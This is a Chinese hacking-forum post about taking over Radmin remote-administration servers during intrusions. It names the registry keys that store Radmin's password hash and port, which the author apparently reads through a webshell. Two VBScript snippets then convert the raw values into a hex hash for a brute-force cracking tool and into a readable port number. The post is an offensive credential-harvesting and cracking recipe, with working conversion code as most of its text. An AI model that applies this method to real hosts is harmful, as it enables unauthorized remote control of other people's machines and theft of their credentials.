转载请保留版权信息!谢谢合作! by NetPatch welcome www.nspcn.org and www.icehack.com 最近做渗透测试时常碰到RADMIN一类的东西.. 一碰到此类的程序,一般我都会先看下对方把RADMIN的端口配置成什么..以及相应的PASS(加密过的) HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\Parameter //默认密码注册表位置 HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\Port //默认端口注册表位置 //把海阳读出来的,用逗号格开,然后用下面的代码转换就可以了 [Copy to clipboard] [ - ]CODE: Dim theStr theStr = InputBox( "请输入要转换的密码：", "输入", "44,41,43,32,43,5,45,64,43,24,31,53,46,57,64,86" ) If theStr <> "" Then         Call InputBox("请复制已经转换好的密码",,zpass(theStr)) End If Function zpass(pass) tpass="" MyArray = Split(pass, ",", -1, 1) For each thepass in MyArray   if len(thepass) = 1 then    tpass=tpass+"0"   end if   tpass=tpass+hex(thepass) Next zpass=tpass End Function //转换后的,就可以拿爆破工具去跑了.... 端口读出后类似这样  223,34,0,0 //用下面代码转换即可 [Copy to clipboard] [ - ]CODE: Dim theStr theStr = InputBox( "请输入要转换的端口：", "输入", "223,34,0,0," ) da = Split(thestr, ",", -1, 1) If theStr <> "" Then         Call InputBox("请复制已经转换好的端口",,Hex2Dec(Dec2Hex(da(3))&Dec2Hex(da(2))&Dec2Hex(da(1))&Dec2Hex(da(0)))) End If Function Hex2Dec(Hex)      Hex = UCase(Hex)      For i = 1 To Len(Hex)          Select Case Mid(Hex, Len(Hex) - i + 1, 1)              Case "0": B = B + 16 ^ (i - 1) * 0              Case "1": B = B + 16 ^ (i - 1) * 1              Case "2": B = B + 16 ^ (i - 1) * 2              Case "3": B = B + 16 ^ (i - 1) * 3              Case "4": B = B + 16 ^ (i - 1) * 4              Case "5": B = B + 16 ^ (i - 1) * 5              Case "6": B = B + 16 ^ (i - 1) * 6              Case "7": B = B + 16 ^ (i - 1) * 7              Case "8": B = B + 16 ^ (i - 1) * 8              Case "9": B = B + 16 ^ (i - 1) * 9              Case "A": B = B + 16 ^ (i - 1) * 10              Case "B": B = B + 16 ^ (i - 1) * 11              Case "C": B = B + 16 ^ (i - 1) * 12              Case "D": B = B + 16 ^ (i - 1) * 13              Case "E": B = B + 16 ^ (i - 1) * 14              Case "F": B = B + 16 ^ (i - 1) * 15          End Select      Next      Hex2Dec = B End Function Function Dec2Hex(Dec)      Dec2Hex = ""      Do While Dec > 0          a = CStr(Dec Mod 16)          Select Case a              Case "10": a = "A"              Case "11": a = "B"              Case "12": a = "C"              Case "13": a = "D"              Case "14": a = "E"              Case "15": a = "F"          End Select          Dec2Hex = a & Dec2Hex          Dec = Dec \ 16      Loop End Function